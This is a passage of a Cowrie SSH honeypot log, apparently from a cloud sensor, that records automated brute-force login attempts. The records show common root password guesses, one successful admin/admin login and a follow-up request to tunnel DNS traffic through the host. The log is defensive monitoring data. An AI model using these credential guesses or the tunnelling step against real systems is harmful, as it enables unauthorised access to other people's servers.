f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:13.371121Z","src_ip":"69.48.205.231","session":"680505d8332c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852","message":"login attempt [root/741852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:13.604373Z","src_ip":"69.48.205.231","session":"680505d8332c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"guest123","message":"login attempt [root/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:14.175590Z","src_ip":"43.242.203.160","session":"9ab77d92ed68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":56158,"dst_ip":"10.17.0.5","dst_port":22,"session":"28b4be255f26","protocol":"ssh","message":"New connection: 45.137.172.116:56158 (10.17.0.5:22) [session: 28b4be255f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:14.266960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:14.273351Z","src_ip":"45.137.172.116","session":"28b4be255f26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:14.371462Z","src_ip":"45.137.172.116","session":"28b4be255f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:14.660570Z","src_ip":"69.48.205.231","session":"680505d8332c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfg123456","message":"login attempt [root/Asdfg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:14.793380Z","src_ip":"45.137.172.116","session":"28b4be255f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:15.507528Z","src_ip":"43.242.203.160","session":"9ab77d92ed68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:15.894975Z","src_ip":"45.137.172.116","session":"28b4be255f26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":40410,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ea73b17b850","protocol":"ssh","message":"New connection: 200.39.46.41:40410 (10.17.0.5:22) [session: 1ea73b17b850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:27.934521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:27.939573Z","src_ip":"200.39.46.41","session":"1ea73b17b850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:28.086822Z","src_ip":"200.39.46.41","session":"1ea73b17b850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qazxsw2","message":"login attempt [root/!qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:28.699767Z","src_ip":"200.39.46.41","session":"1ea73b17b850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:29.849539Z","src_ip":"200.39.46.41","session":"1ea73b17b850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":34086,"dst_ip":"10.17.0.5","dst_port":22,"session":"8944120e9702","protocol":"ssh","message":"New connection: 202.51.214.99:34086 (10.17.0.5:22) [session: 8944120e9702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:49.426126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:49.430370Z","src_ip":"202.51.214.99","session":"8944120e9702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:49.671177Z","src_ip":"202.51.214.99","session":"8944120e9702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852","message":"login attempt [root/741852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:50.667511Z","src_ip":"202.51.214.99","session":"8944120e9702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:51.911808Z","src_ip":"202.51.214.99","session":"8944120e9702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":45352,"dst_ip":"159.203.135.109","dst_port":22,"session":"5489d27dd985","protocol":"ssh","message":"New connection: 43.242.203.160:45352 (159.203.135.109:22) [session: 5489d27dd985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:55.863062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:55.915108Z","src_ip":"43.242.203.160","session":"5489d27dd985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:56.165055Z","src_ip":"43.242.203.160","session":"5489d27dd985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:57.208113Z","src_ip":"43.242.203.160","session":"5489d27dd985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:01:58.477697Z","src_ip":"43.242.203.160","session":"5489d27dd985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35222,"dst_ip":"10.17.0.5","dst_port":22,"session":"95c044a0b80d","protocol":"ssh","message":"New connection: 87.251.64.176:35222 (10.17.0.5:22) [session: 95c044a0b80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:11.908410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:11.913291Z","src_ip":"87.251.64.176","session":"95c044a0b80d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:12.010285Z","src_ip":"87.251.64.176","session":"95c044a0b80d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:12.300425Z","src_ip":"87.251.64.176","session":"95c044a0b80d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:12.399224Z","session":"95c044a0b80d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:12.497142Z","src_ip":"87.251.64.176","session":"95c044a0b80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:12.596041Z","src_ip":"87.251.64.176","session":"95c044a0b80d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":38988,"dst_ip":"10.17.0.5","dst_port":22,"session":"19c5e6a95009","protocol":"ssh","message":"New connection: 103.118.29.129:38988 (10.17.0.5:22) [session: 19c5e6a95009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:20.370379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:20.378139Z","src_ip":"103.118.29.129","session":"19c5e6a95009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:20.622678Z","src_ip":"103.118.29.129","session":"19c5e6a95009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":44596,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce144f7ccc79","protocol":"ssh","message":"New connection: 45.137.172.116:44596 (10.17.0.5:22) [session: ce144f7ccc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:21.398580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:21.403136Z","src_ip":"45.137.172.116","session":"ce144f7ccc79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":44554,"dst_ip":"10.17.0.5","dst_port":22,"session":"79a25edd0442","protocol":"ssh","message":"New connection: 69.48.205.231:44554 (10.17.0.5:22) [session: 79a25edd0442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:21.409640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:21.414164Z","src_ip":"69.48.205.231","session":"79a25edd0442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:21.464361Z","src_ip":"69.48.205.231","session":"79a25edd0442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:21.500101Z","src_ip":"45.137.172.116","session":"ce144f7ccc79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"!","message":"login attempt [ansible/!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:21.621526Z","src_ip":"103.118.29.129","session":"19c5e6a95009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminme","message":"login attempt [root/adminme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:21.696681Z","src_ip":"69.48.205.231","session":"79a25edd0442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:02:21.917426Z","src_ip":"45.137.172.116","session":"ce144f7ccc79","protocol":"ssh"}
